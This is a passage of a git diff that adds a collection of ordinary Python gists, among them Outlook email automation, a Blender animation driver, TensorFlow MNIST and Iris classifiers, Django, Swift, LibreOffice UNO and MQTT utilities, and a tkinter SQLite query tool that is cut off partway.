+newMail.Subject = "I AM SUBJECT!!"
+# newMail.Body = "I AM\nTHE BODY MESSAGE!"
+newMail.BodyFormat = 2 # olFormatHTML https://msdn.microsoft.com/en-us/library/office/aa219371(v=office.11).aspx
+newMail.HTMLBody = "<HTML><BODY>Enter the <span style='color:red'>message</span> text here.</BODY></HTML>"
+newMail.To = "email@demo.com"
+attachment1 = r"C:\Temp\example.pdf"
+newMail.Attachments.Add(Source=attachment1)
+newMail.display()
+newMail.send()
\ No newline at end of file
diff --git a/hard-gists/b46119196c75d6ef20ff/._snippet.py b/hard-gists/b46119196c75d6ef20ff/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b46119196c75d6ef20ff/._snippet.py differ
diff --git a/hard-gists/b46119196c75d6ef20ff/snippet.py b/hard-gists/b46119196c75d6ef20ff/snippet.py
new file mode 100644
index 00000000..9ee21c20
--- /dev/null
+++ b/hard-gists/b46119196c75d6ef20ff/snippet.py
@@ -0,0 +1,90 @@
+#So far, my Python scripts for Blender are segmented into
+#a "create the objects" script,
+#and a "describe their motion over time" script.
+#The "motion.py" script must be run and have the "register"
+#checkbox clicked on it in the Blender "Text Editor" window,
+#so that it will add the driver every time the file loads.
+#To use the creation script, you must already have a group named
+#"Dot" defined with some renderable mesh in it so that the
+#"creation.py" script can create instances of that group.
+#My "Dot" group has a 5 level subdivided Icosphere in it.
+
+#This animation is designed to loop perfectly in 1 second worth
+#of frames, based on your Frame Rate in your render settings.
+
+#You should also probably have the checkbox turned on for:
+#    "User Preferences -> File -> Auto Run Python Scripts"
+
+#Steps to reproduce:
+# * Open Blender. In your render settings, pick an a Frame Rate, and set your "End Frame" to that same number.
+# * Make a mesh object. Group it. Name the group "Dot". Move it to another layer which is not visible.
+# * Get/Make/Show a "Text Editor" window type.
+# * Make a new script. Name it "motion.py". Put the below contents into there.
+# ***** Click the "register" checkbox in the header of that window. Click the "Run Script" button.
+# * Make a new script. Name it "creation.py". Put the apropriate contents into there.
+# ***** Click the "Run Script" button.
+# * In the 3D view, press alt-a and it animates or something. I hope.
+
+################################START OF motion.py################################
+import bpy
+import math
+
+pi = math.pi
+tau = pi * 2
+
+def get_time():
+    return (bpy.context.scene.frame_current / bpy.context.scene.render.fps)
+
+def move_dots(name, n, radius, i):
+    item = bpy.data.objects[name]
+    frac = 1 / n
+    offset = pi * 0.5
+    r_frac = tau * frac
+    time = get_time()
+    time_offset = frac * i
+    angle = r_frac * i + offset
+    item.location[0] = math.cos(angle + time * r_frac) * radius
+    item.location[1] = math.sin(angle + time * r_frac) * radius
+    return 0 #math.sin(angle)
+
+bpy.app.driver_namespace['move_dots'] = move_dots
+################################END OF motion.py################################
+
+################################START OF creation.py################################
+import bpy
+import math
+
+pi = math.pi
+tau = pi * 2
+
+def create_ring(n, radius):
+    frac = 1 / n
+    r_frac = tau * frac
+    scale = 0.05
+    offset = pi * 0.5
+    item_num = 0
+    
+    for i in range(0, n):
+        x = math.cos(r_frac * i + offset) * radius
+        y = math.sin(r_frac * i + offset) * radius
+        bpy.ops.object.group_instance_add(
+            group='Dot',   
+            location=(x, y, 0),
+        )
+        item = bpy.context.active_object
+        item.name = 'item_' + str(radius) + '_' + str(n) + '_' + str(i)
+        item.scale = [scale, scale, scale]
+        driver = item.driver_add('location', 2).driver
+        driver.expression = (
+            'move_dots('
+            + '"' + item.name + '"'
+            + ', ' + str(n)
+            + ', ' + str(radius)
+            + ', ' + str(i)
+            + ')'
+        )
+
+for i in range(2, 28):
+    create_ring(i, (i - 1) * 0.1)
+
+################################END OF creation.py################################
diff --git a/hard-gists/b470324dc5c81cef8ae24fd1d3fd4e59/._snippet.py b/hard-gists/b470324dc5c81cef8ae24fd1d3fd4e59/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b470324dc5c81cef8ae24fd1d3fd4e59/._snippet.py differ
diff --git a/hard-gists/b470324dc5c81cef8ae24fd1d3fd4e59/snippet.py b/hard-gists/b470324dc5c81cef8ae24fd1d3fd4e59/snippet.py
new file mode 100644
index 00000000..059e0ab9
--- /dev/null
+++ b/hard-gists/b470324dc5c81cef8ae24fd1d3fd4e59/snippet.py
@@ -0,0 +1,105 @@
+import tensorflow as tf
+tf.reset_default_graph()
+
+from tensorflow.examples.tutorials.mnist import input_data
+mnist = input_data.read_data_sets("MNIST_data/", one_hot=True)
+
+### model ###
+
+# input
+with tf.name_scope('input') as scope:
+    x = tf.placeholder(tf.float32, [None, 28*28], name="input")
+    # a placeholder to hold the correct answer during training
+    labels = tf.placeholder(tf.float32, [None, 10], name="label")
+    # the probability of a neuron being kept during dropout
+    keep_prob = tf.placeholder(tf.float32, name="keep_prob")
+
+with tf.name_scope('model') as scope:
+    with tf.name_scope('fc1') as scope: # fc1 stands for 1st fully connected layer
+        # 1st layer goes from 784 neurons (input) to 500 in the first hidden layer
+        w1 = tf.Variable(tf.truncated_normal([28*28, 500], stddev=0.1), name="weights")
+        b1 = tf.Variable(tf.constant(0.1, shape=[500]), name="biases")
+
+        with tf.name_scope('softmax_activation') as scope:
+            # softmax activation
+            a1 = tf.nn.softmax(tf.matmul(x, w1) + b1)
+
+        with tf.name_scope('dropout') as scope:
+            # dropout
+            drop1 = tf.nn.dropout(a1, keep_prob)
+
+    with tf.name_scope('fc2') as scope:
+        # takes the first hidden layer of 500 neurons to 100 (second hidden layer)
+        w2 = tf.Variable(tf.truncated_normal([500, 100], stddev=0.1), name="weights")
+        b2 = tf.Variable(tf.constant(0.1, shape=[100]), name="biases")
+
+        with tf.name_scope('relu_activation') as scope:
+            # relu activation, and dropout for second hidden layer
+            a2 = tf.nn.relu(tf.matmul(drop1, w2) + b2)
+
+        with tf.name_scope('dropout') as scope:
+            drop2 = tf.nn.dropout(a2, keep_prob)
+
+    with tf.name_scope('fc3') as scope:
+        # takes the second hidden layer of 100 neurons to 10 (which is the output)
+        w3 = tf.Variable(tf.truncated_normal([100, 10], stddev=0.1), name="weights")
+        b3 = tf.Variable(tf.constant(0.1, shape=[10]), name="biases")
+
+        with tf.name_scope('logits') as scope:
+            # final layer doesn't have dropout
+            logits = tf.matmul(drop2, w3) + b3
+
+with tf.name_scope('train') as scope:
+    with tf.name_scope('loss') as scope:
+        # loss function
+        cross_entropy = tf.nn.softmax_cross_entropy_with_logits(labels=labels, logits=logits)
+    # use adam optimizer for training with a learning rate of 0.001
+    train_step = tf.train.AdamOptimizer(0.001).minimize(cross_entropy)
+
+with tf.name_scope('evaluation') as scope:
+    # evaluation
+    correct_prediction = tf.equal(tf.argmax(logits,1), tf.argmax(labels,1))
+    accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))
+
+# create a summarizer that summarizes loss and accuracy
+tf.summary.scalar("Accuracy", accuracy)
+
+# add average loss summary over entire batch
+tf.summary.scalar("Loss", tf.reduce_mean(cross_entropy)) 
+
+# merge summaries
+summary_op = tf.summary.merge_all()
+
+# create saver object
+saver = tf.train.Saver()
+
+### training ###
+
+with tf.Session() as sess:
+    # initialize variables
+    tf.global_variables_initializer().run()
+    
+    # initialize summarizer filewriter
+    fw = tf.summary.FileWriter("/tmp/nn/summary", sess.graph)
+
+    # train the network
+    for step in range(20000):
+        batch_xs, batch_ys = mnist.train.next_batch(100)
+        sess.run(train_step, feed_dict={x: batch_xs, labels: batch_ys, keep_prob:0.2})
+
+        if step%1000 == 0:
+            acc = sess.run(accuracy, feed_dict={
+                x: batch_xs, labels: batch_ys, keep_prob:1})
+            print("mid train accuracy:", acc, "at step:", step)
+        
+        if step%100 == 0:
+            # compute summary using test data every 100 steps
+            summary = sess.run(summary_op, feed_dict={
+                x: mnist.test.images, labels: mnist.test.labels, keep_prob:1})
+
+        # add merged summaries to filewriter,
+        # so they are saved to disk
+        fw.add_summary(summary, step)
+    
+    # save trained model
+    saver.save(sess, "/tmp/nn/my_nn.ckpt")
\ No newline at end of file
diff --git a/hard-gists/b48d48fc1b6eb080412129e596ab2193/._snippet.py b/hard-gists/b48d48fc1b6eb080412129e596ab2193/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b48d48fc1b6eb080412129e596ab2193/._snippet.py differ
diff --git a/hard-gists/b48d48fc1b6eb080412129e596ab2193/snippet.py b/hard-gists/b48d48fc1b6eb080412129e596ab2193/snippet.py
new file mode 100644
index 00000000..efec04eb
--- /dev/null
+++ b/hard-gists/b48d48fc1b6eb080412129e596ab2193/snippet.py
@@ -0,0 +1,13 @@
+from flask.ext.sqlalchemy import SQLAlchemy
+db = SQLAlchemy()
+
+def db_model_repr(self):
+    """Create a automatic meaningful repr for db.Model classes
+
+    Usage example:
+    class MyClass(db.Model):
+        __repr__ = db_model_repr
+    """
+    fields = [str(x).split('.')[-1] for x in self.__table__.c]
+    values = ["{}={!r}".format(field, getattr(self, field)) for field in fields]
+    return "{}({})".format(self.__class__.__name__, ', '.join(values))
diff --git a/hard-gists/b492a548aa342ce0badfe1eed86ea5a4/._snippet.py b/hard-gists/b492a548aa342ce0badfe1eed86ea5a4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b492a548aa342ce0badfe1eed86ea5a4/._snippet.py differ
diff --git a/hard-gists/b492a548aa342ce0badfe1eed86ea5a4/snippet.py b/hard-gists/b492a548aa342ce0badfe1eed86ea5a4/snippet.py
new file mode 100644
index 00000000..4c44f22e
--- /dev/null
+++ b/hard-gists/b492a548aa342ce0badfe1eed86ea5a4/snippet.py
@@ -0,0 +1,156 @@
+import tensorflow as tf
+import numpy as np
+import pandas as pd
+import math
+
+# Data sets
+IRIS_TRAINING = "iris_training.csv"
+IRIS_TEST = "iris_test.csv"
+IRIS_DATA_SIZE = 4
+CLASS_SIZE = 3
+
+# load csv data for iris data format
+def load_csv(filename):
+    file = pd.read_csv(filename, header=0)
+
+    # get sample's metadata
+    n_samples = int(file.columns[0])
+    n_features = int(file.columns[1])
+
+    # divide samples into explanation variables and target variable
+    data = np.empty((n_samples, n_features))
+    target = np.empty((n_samples,), dtype=np.int)
+    for i, row in enumerate(file.itertuples()):
+        target[i] = np.asarray(row[-1], dtype=np.int)
+        data[i] = np.asarray(row[1:n_features+1], dtype=np.float64)
+    return (data, target)
+
+# output train data 
+def get_batch_data(x_train, y_train, size=None):
+    if size is None:
+        size = len(x_train)
+    batch_xs = x_train
+    batch_ys = []
+
+    # convert to 1-of-N vector
+    for i in range(len(y_train)):
+        val = np.zeros((3), dtype=np.float64)
+        val[y_train[i]] = 1.0
+        batch_ys.append(val)
+    batch_ys = np.asarray(batch_ys)
+    return batch_xs[:size], batch_ys[:size]
+
+# output test data
+def get_test_data(x_test, y_test):
+    batch_ys = []
+
+    # convert to 1-of-N vector
+    for i in range(len(y_test)):
+        val = np.zeros((3), dtype=np.float64)
+        val[y_test[i]] = 1.0
+        batch_ys.append(val)
+    return x_test, np.asarray(batch_ys)
+
+# for parameter initialize
+def get_stddev(in_dim, out_dim):
+    return 1.3 / math.sqrt(float(in_dim) + float(out_dim))
+
+# DNN Model Class
+class Classifier:
+    def __init__(self, hidden_units=[10], n_classes=0):
+        self._hidden_units = hidden_units
+        self._n_classes = n_classes
+        self._sess = tf.Session()
+
+    # build model
+    def inference(self, x):
+        hidden = []
+
+        # Input Layer
+        with tf.name_scope("input"):
+            weights = tf.Variable(tf.truncated_normal([IRIS_DATA_SIZE, self._hidden_units[0]], stddev=get_stddev(IRIS_DATA_SIZE, self._hidden_units[0])), name='weights')
+            biases = tf.Variable(tf.zeros([self._hidden_units[0]]), name='biases')
+            input = tf.matmul(x, weights) + biases
+
+        # Hidden Layers
+        for index, num_hidden in enumerate(self._hidden_units):
+            if index == len(self._hidden_units) - 1: break
+            with tf.name_scope("hidden{}".format(index+1)):
+                weights = tf.Variable(tf.truncated_normal([num_hidden, self._hidden_units[index+1]], stddev=get_stddev(num_hidden, self._hidden_units[index+1])), name='weights')
+                biases = tf.Variable(tf.zeros([self._hidden_units[index+1]]), name='biases')
+                inputs = input if index == 0 else hidden[index-1]
+                hidden.append(tf.nn.relu(tf.matmul(inputs, weights) + biases, name="hidden{}".format(index+1)))
+        
+        # Output Layer
+        with tf.name_scope('output'):
+            weights = tf.Variable(tf.truncated_normal([self._hidden_units[-1], self._n_classes], stddev=get_stddev(self._hidden_units[-1], self._n_classes)), name='weights')
+            biases = tf.Variable(tf.zeros([self._n_classes]), name='biases')
+            logits = tf.nn.softmax(tf.matmul(hidden[-1], weights) + biases)
+
+        return logits
+
+    # loss function
+    def loss(self, logits, y):        
+        return -tf.reduce_mean(y * tf.log(logits))
+
+    # fitting function for train data
+    def fit(self, x_train=None, y_train=None, steps=200):
+        # build model
+        x = tf.placeholder(tf.float32, [None, IRIS_DATA_SIZE])
+        y = tf.placeholder(tf.float32, [None, CLASS_SIZE])
+        logits = self.inference(x)
+        loss = self.loss(logits, y)
+        train_op = tf.train.GradientDescentOptimizer(0.5).minimize(loss)
+
+        # save variables
+        self._x = x
+        self._y = y
+        self._logits = logits
+ 
+        # init parameters
+        init = tf.initialize_all_variables() 
+        self._sess.run(init)
+
+        # train
+        for i in range(steps):
+            batch_xs, batch_ys = get_batch_data(x_train, y_train)
+            self._sess.run(train_op, feed_dict={x: batch_xs, y: batch_ys})
+
+    # evaluation function for test data
+    def evaluate(self, x_test=None, y_test=None):
+        x_test, y_test = get_test_data(x_test, y_test)
+        
+        # build accuracy calculate step
+        correct_prediction = tf.equal(tf.argmax(self._logits, 1), tf.argmax(self._y, 1))
+        accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))
+
+        # evaluate
+        return self._sess.run([accuracy], feed_dict={self._x: x_test, self._y: y_test})
+
+    # label pridiction
+    def predict(self, samples):
+        predictions = tf.argmax(self._logits, 1)
+        return self._sess.run(predictions, {self._x: samples})
+
+def main(args):
+    # Load datasets.
+    x_train, y_train = load_csv(filename=IRIS_TRAINING)
+    x_test, y_test = load_csv(filename=IRIS_TEST)
+
+    # Build 3 layer DNN with 10, 20, 10 units respectively.
+    classifier = Classifier(hidden_units=[10, 20, 10], n_classes=CLASS_SIZE)
+
+    # Fit model.
+    classifier.fit(x_train, y_train, steps=200)
+
+    # Evaluate accuracy.
+    accuracy_score = classifier.evaluate(x_test, y_test)[0]
+    print('Accuracy: {0:f}'.format(accuracy_score))
+
+    # Classify two new flower samples.
+    new_samples = np.array([[6.4, 3.2, 4.5, 1.5], [5.8, 3.1, 5.0, 1.7]], dtype=float)
+    y = classifier.predict(new_samples)
+    print ('Predictions: {}'.format(str(y)))
+
+if __name__ == '__main__':
+  tf.app.run()
\ No newline at end of file
diff --git a/hard-gists/b493a228c4081ff0260b/._snippet.py b/hard-gists/b493a228c4081ff0260b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b493a228c4081ff0260b/._snippet.py differ
diff --git a/hard-gists/b493a228c4081ff0260b/snippet.py b/hard-gists/b493a228c4081ff0260b/snippet.py
new file mode 100644
index 00000000..94d4e7d0
--- /dev/null
+++ b/hard-gists/b493a228c4081ff0260b/snippet.py
@@ -0,0 +1,27 @@
+# -*- coding: utf-8 -*-
+
+from django.core.files import File
+from django.core.files.temp import NamedTemporaryFile
+
+import requests
+import urlparse
+
+
+def save_image_from_url(field, url):
+
+    r = requests.get(url)
+
+    if r.status_code == requests.codes.ok:
+
+        img_temp = NamedTemporaryFile(delete = True)
+        img_temp.write(r.content)
+        img_temp.flush()
+
+        img_filename = urlparse.urlsplit(url).path[1:]
+
+        field.save(img_filename, File(img_temp), save = True)
+
+        return True
+
+    return False
+
diff --git a/hard-gists/b4a0aed67fc0da6b02434a5c2cef45c4/._snippet.py b/hard-gists/b4a0aed67fc0da6b02434a5c2cef45c4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b4a0aed67fc0da6b02434a5c2cef45c4/._snippet.py differ
diff --git a/hard-gists/b4a0aed67fc0da6b02434a5c2cef45c4/snippet.py b/hard-gists/b4a0aed67fc0da6b02434a5c2cef45c4/snippet.py
new file mode 100644
index 00000000..158af034
--- /dev/null
+++ b/hard-gists/b4a0aed67fc0da6b02434a5c2cef45c4/snippet.py
@@ -0,0 +1,97 @@
+#!/usr/bin/env python
+import argparse
+import hashlib
+import sys
+
+from eventlet import GreenPile
+
+from swift.common import storage_policy
+from swift.common import utils
+from swift.common.bufferedhttp import http_connect
+
+RING_DIR = '/etc/swift'
+
+parser = argparse.ArgumentParser()
+parser.add_argument('-P', '--policy', help="the name of the policy")
+parser.add_argument('-o', '--output', action="store_true",
+                    help="write body to stdout")
+parser.add_argument('path', help="path to the object to get")
+
+
+def get_policy(args):
+    for policy in storage_policy.POLICIES:
+        if not isinstance(policy, storage_policy.ECStoragePolicy):
+            continue
+        if not args.policy:
+            break
+        if policy.name == args.policy:
+            break
+    else:
+        return 'ERROR: unable to find EC policy'
+    policy.load_ring(RING_DIR)
+    return policy
+
+
+def _get_response(node, part, path, headers, policy):
+    conn = http_connect(node['ip'], node['port'], node['device'],
+                        part, 'GET', path, headers=headers)
+    resp = conn.getresponse()
+    data_len = int(resp.getheader('x-object-sysmeta-ec-content-length'))
+    segment_size = int(resp.getheader('x-object-sysmeta-ec-segment-size'))
+    # XXX: stinks to have to call this for every resp even though it's not
+    # node specific
+    fragment_size = policy.pyeclib_driver.get_segment_info(
+        data_len, segment_size)['fragment_size']
+    # TODO: something about resp.status
+    resp.fragment_size = fragment_size
+    return resp
+
+
+def _get_one_fragment(resp, size):
+    buff = ''
+    remaining_bytes = size
+    while remaining_bytes:
+        chunk = resp.read(remaining_bytes)
+        if not chunk:
+            break
+        remaining_bytes -= len(chunk)
+        buff += chunk
+    return buff
+
+
+def main():
+    args = parser.parse_args()
+    policy = get_policy(args)
+    try:
+        account, container, obj = utils.split_path(
+            args.path, minsegs=3, maxsegs=3, rest_with_last=True)
+    except ValueError:
+        return 'ERROR: invalid path %r' % args.path
+    headers = {
+        'X-Backend-Storage-Policy-Index': int(policy),
+    }
+    part, nodes = policy.object_ring.get_nodes(account, container, obj)
+
+    pile = GreenPile(len(nodes))
+    for node in nodes:
+        pile.spawn(_get_response, node, part, args.path, headers, policy)
+
+    responses = [resp for resp in pile]
+    # TODO: if we don't have enough responses to rebuild bail
+
+    h = hashlib.md5()
+    while True:
+        for resp in responses:
+            pile.spawn(_get_one_fragment, resp, resp.fragment_size)
+        fragment_payload = [fragment for fragment in pile if fragment]
+        if not fragment_payload:
+            break
+        segment = policy.pyeclib_driver.decode(fragment_payload)
+        h.update(segment)
+        if args.output:
+            sys.stdout.write(segment)
+    sys.stderr.write('%s\n' % h.hexdigest())
+
+
+if __name__ == "__main__":
+    sys.exit(main())
diff --git a/hard-gists/b4afaf9648ec986928a9/._snippet.py b/hard-gists/b4afaf9648ec986928a9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b4afaf9648ec986928a9/._snippet.py differ
diff --git a/hard-gists/b4afaf9648ec986928a9/snippet.py b/hard-gists/b4afaf9648ec986928a9/snippet.py
new file mode 100644
index 00000000..3748b05e
--- /dev/null
+++ b/hard-gists/b4afaf9648ec986928a9/snippet.py
@@ -0,0 +1,121 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+import uno
+from com.sun.star.beans import PropertyValue
+from pythonscript import ScriptContext
+import os
+import sys
+import time
+
+class UnoConnector():
+    """
+    Libre Office Runtime Connector
+    It is assumed libreoffice is run like this from a shell:
+        libreoffice "--accept=socket,host=localhost,port=2002;urp;" ./test1.ods &
+        or
+        libreoffice "--accept=pipe,name=some_name;urp;StarOffice.Servicemanager" ./test1.ods &
+    """
+
+    def __init__(self, docName = "_blank", pipeName = None, host = None, port = None, loIsRunning = False, headless = ""):
+        if pipeName == None and port == None:
+            raise Exception("Must specify either port or pipe")
+        if pipeName != None and port != None:
+            raise Exception("Must specify either port or pipe, not both")
+        self.headless = headless
+        self.docName = docName
+        self.port = port
+        self.pipeName = pipeName
+        if self.port != None:
+            if host == None:
+                self.host = "localhost"
+            else:
+                self.host = host
+            self.loLaunch = """ libreoffice --accept="socket,host=%s,port=%s;urp;" --norestore --nologo --nodefault %s %s &""" % (self.host, self.port, self.headless, [self.docName, ""][self.docName == '_blank'])
+            self.resolveStr = "uno:socket,host=%s,port=%s;urp;StarOffice.ComponentContext" % (self.host, self.port)
+        else:
+            self.host = None
+            self.loLaunch = """ libreoffice --accept="pipe,name=%s;urp;StarOffice.Servicemanager" --norestore --nologo --nodefault %s %s &""" % (self.pipeName, self.headless, [self.docName, ""][self.docName == '_blank'])
+            self.resolveStr = "uno:pipe,name=%s;urp;StarOffice.ComponentContext" % (self.pipeName)
+        if not loIsRunning:
+            if self.launch_lo() == 0:
+                self.connect_to_office()
+            else:
+                print("Error launching LibreOffice")
+        else:
+            self.connect_to_office()
+
+    def launch_lo(self):
+        result = os.system(self.loLaunch)
+        time.sleep(1)
+        return result
+
+    def connect_to_office(self):
+        self.localContext = uno.getComponentContext()
+        self.resolver = self.localContext.ServiceManager.createInstanceWithContext('com.sun.star.bridge.UnoUrlResolver', self.localContext)
+        #self.client = self.resolver.resolve("uno:pipe,name=some_name;urp;StarOffice.ComponentContext")
+        self.client = None
+        for n in range(1, 61):
+            try:
+                print("Connectiong client, attemp No %d" % (n,))
+                self.client = self.resolver.resolve(self.resolveStr)
+                break
+            except:
+                time.sleep(1)
+        if self.client:    
+            self.scriptContext = ScriptContext(self.client, None, None)
+            self.desktop = self.scriptContext.getDesktop()
+            if self.docName == '_blank':
+                self.newDoc()
+            return self.doc
+        else:
+            self.scriptContext = None
+            self.desktop = None
+            self.doc = None
+            return None
+    
+    def newDoc(self, doctype = "calc"):
+        self.desktop.loadComponentFromURL("private:factory/s%s" % (doctype,), "_blank", 0, ())
+        self.doc = None
+        for n in range(1, 61):
+            print("Trying to load default document, attemp No %d" % (n,))
+            self.doc = self.scriptContext.getDocument()
+            if self.doc != None:
+                break
+            else:
+                time.sleep(1)
+    
+    def saveAs(self, newName, excelFormat = False):
+        if not self.doc:
+            return None
+        else:
+            self.docName = newName
+            pv = ()
+            if excelFormat:
+                pv = (PropertyValue("FilterName", 0, "MS Excel 97", 0),)
+            self.doc.storeAsURL("file://%s%s%s" % (os.getcwd(), os.path.sep, self.docName), pv)
+            return self.doc
+    
+    def save(self):
+        if not self.doc:
+            return None
+        else:
+            if self.docName == "_blank":
+                print("File must have a name in order to be saved. Use 'saveAs'first")
+                return None
+            else:
+                self.doc.store()
+                return self.doc
+
+    def exportPDF(self, newName):
+        if not self.doc:
+            return None
+        else:
+            pv = (PropertyValue("FilterName", 0, "writer_pdf_Export", 0),)
+            self.doc.storeToURL("file://%s%s%s.pdf" % (os.getcwd(), os.path.sep, newName.replace('.pdf', '')), pv)
+        return self.doc
+    
+
+
+                                              
+
diff --git a/hard-gists/b4ea0034839ccbc2aa03/._snippet.py b/hard-gists/b4ea0034839ccbc2aa03/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b4ea0034839ccbc2aa03/._snippet.py differ
diff --git a/hard-gists/b4ea0034839ccbc2aa03/snippet.py b/hard-gists/b4ea0034839ccbc2aa03/snippet.py
new file mode 100644
index 00000000..df081c8a
--- /dev/null
+++ b/hard-gists/b4ea0034839ccbc2aa03/snippet.py
@@ -0,0 +1,20 @@
+#!/usr/bin/python
+from mosquitto import Mosquitto 
+
+publish_key = "demo" 
+subscribe_key = "demo" 
+channel_name = "F" 
+client_uuid = "2fb96def5" 
+mqtt_hostname = "mqtt.pubnub.com" 
+mqtt_connect = publish_key + "/" + subscribe_key + "/" + client_uuid 
+mqtt_topic = publish_key + "/" + subscribe_key + "/" + channel_name 
+mosq_object = Mosquitto(mqtt_connect) 
+
+def on_message( mosq, obj, msg ):
+    print( msg.payload, msg.topic )
+
+mosq_object.on_message = on_message
+mosq_object.connect(mqtt_hostname)
+mosq_object.publish( mqtt_topic, "Hello World!" )
+mosq_object.subscribe(mqtt_topic)
+mosq_object.loop_forever()
diff --git a/hard-gists/b53cc1e0482411e4b53d74bd12a485c1/._snippet.py b/hard-gists/b53cc1e0482411e4b53d74bd12a485c1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b53cc1e0482411e4b53d74bd12a485c1/._snippet.py differ
diff --git a/hard-gists/b53cc1e0482411e4b53d74bd12a485c1/snippet.py b/hard-gists/b53cc1e0482411e4b53d74bd12a485c1/snippet.py
new file mode 100644
index 00000000..b011abdf
--- /dev/null
+++ b/hard-gists/b53cc1e0482411e4b53d74bd12a485c1/snippet.py
@@ -0,0 +1,13 @@
+import gevent.monkey
+from urllib.request import urlopen
+gevent.monkey.patch_all()
+urls = ['http://www.google.com', 'http://www.yandex.ru', 'http://www.python.org']
+
+def print_head(url):
+    print('Starting {}'.format(url))
+    data = urlopen(url).read()
+    print('{}: {} bytes: {}'.format(url, len(data), data))
+
+jobs = [gevent.spawn(print_head, _url) for _url in urls]
+
+gevent.wait(jobs)
\ No newline at end of file
diff --git a/hard-gists/b55de7edbcbc1ad46a28a0975c01a5cf/._snippet.py b/hard-gists/b55de7edbcbc1ad46a28a0975c01a5cf/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b55de7edbcbc1ad46a28a0975c01a5cf/._snippet.py differ
diff --git a/hard-gists/b55de7edbcbc1ad46a28a0975c01a5cf/snippet.py b/hard-gists/b55de7edbcbc1ad46a28a0975c01a5cf/snippet.py
new file mode 100644
index 00000000..2221eaac
--- /dev/null
+++ b/hard-gists/b55de7edbcbc1ad46a28a0975c01a5cf/snippet.py
@@ -0,0 +1,340 @@
+from tkinter import *
+from tkinter import ttk
+from tkinter import messagebox
+from tkinter.filedialog import askopenfilename
+from tkinter.filedialog import asksaveasfilename
+import sqlite3
+from openpyxl import Workbook
+import os
+
+
+class Ext_Func:
+	def ObtainHQ(DB,QUERY):
+		if(os.path.isfile(DB)==False):	#Controllo esistenza
+			Ext_Func.FilExist(DB)
+			return(000)
+		DB = sqlite3.connect(DB)
+		try:
+			cursor = DB.execute(QUERY)
+		except:
+			print('Error: Query failed!')
+			messagebox.showerror('ERROR', 'Query Failed!')
+			return(000)
+		print('sono passato')
+		names = [description[0] for description in cursor.description]
+		return(names)
+	# ______________________________________________________________ fine ObrainHQ
+	
+	def FilExist(file):
+		print('Error: File ' + file + ' not found!')
+		messagebox.showerror('ERROR', 'File ' + file + ' not found!')
+	# ______________________________________________________________ fine FilExist
+# ______________________________________________________________ fine Ext_Func
+
+
+class ExportQ_GUI:
+	def __init__(self,main):
+		main.title('Inseritore Query')
+		main.resizable(False, False)
+		main.configure(background='grey30')
+		self.l1 = Label(root, text='DB file : ',background='grey30',fg='yellow', font='helvetica 10 bold')
+		self.e1 = Entry(root)
+		self.l3 = Label(root, text='Query : ',background='grey30',fg='yellow', font='helvetica 10 bold')
+		self.t1 = Text(root)
+		self.butbro = Button(main, text='browse', command=self.BrowserFile)
+
+		# self.t1.tag_configure("keyword", foreground="#229954", font=('arial black', 10))
+
+		self.t1.bind("<Any-KeyRelease>", self.highlight)
+		self.t1.bind("<Any-ButtonRelease>", self.highlight)
+		
+		self.l1.grid(row=0, column=0, pady=3)
+		self.e1.grid(row=0, column=1, sticky=W, ipadx = 200)
+		self.butbro.grid(row=0, column=2,  ipadx = 25)
+		self.l3.grid(row=1, column=0,sticky=N,pady=3)
+		self.t1.grid(row=1, column=1, columnspan=2,pady=3)
+		
+		# aggiunta degli ultimi bottoni
+		self.butread=Button(main, text='Looks at the result of the query', font='helvetica 10 bold', command=self.Reader)
+		self.b1 = Button(root, text='Export Query', command=self.Save, font='helvetica 10 bold')
+		self.butread.grid(row=2, column=0, sticky=W, ipadx = 40, padx=60, columnspan=2)
+		self.b1.grid(row=2, column=1, ipadx = 90, sticky=E, padx=50, columnspan=2)
+	# ______________________________________________________________ fine __init__	
+	
+		
+	def highlight(self, event=None):
+		# SELEZIONE COMANDI ______________________________________________________________________________________________
+		# COMMAND ____________________________________________________________________________________
+		self.SelezioneComandi('select ')
+		self.SelezioneComandi('from')
+		self.SelezioneComandi('where')
+		self.SelezioneComandi('create')
+		self.SelezioneComandi('attach')
+		self.SelezioneComandi('detach')
+		self.SelezioneComandi('drop')
+		self.SelezioneComandi('insert')
+		self.SelezioneComandi('pragma')
+		self.SelezioneComandi('update')
+		self.SelezioneComandi('delete')
+		self.SelezioneComandi('having')
+		self.SelezioneComandi('constraint')
+		self.SelezioneComandi('joins')
+		self.SelezioneComandi('union')
+		self.SelezioneComandi('trigger')
+		self.SelezioneComandi('index')
+		self.SelezioneComandi('alter')
+		self.SelezioneComandi('truncate')
+		self.SelezioneComandi('views')
+		
+		# BOOL ________________________________________________________________________________________
+		self.SelezioneBool('exist',1)
+		self.SelezioneBool('or ',1)
+		self.SelezioneBool('and ',1)
+		self.SelezioneBool('between',1)
+		self.SelezioneBool('+',0)
+		self.SelezioneBool('-',0)
+		self.SelezioneBool('*',0)
+		self.SelezioneBool('/',0)
+		self.SelezioneBool('%',0)
+		self.SelezioneBool('=',0)
+		self.SelezioneBool('==',0)
+		self.SelezioneBool(' in ',1)
+		self.SelezioneBool('!=',0)
+		self.SelezioneBool('>=',0)
+		self.SelezioneBool('not in',1)
+		self.SelezioneBool(' is ',1)
+		self.SelezioneBool('is null',1)
+		self.SelezioneBool(' like',1)
+		self.SelezioneBool('<>',0)
+		self.SelezioneBool('<=',0)
+		self.SelezioneBool('<',0)
+		self.SelezioneBool('>',0)
+		self.SelezioneBool('!<',0)
+		self.SelezioneBool('!>',0)
+		self.SelezioneBool('UNIQUE',1)
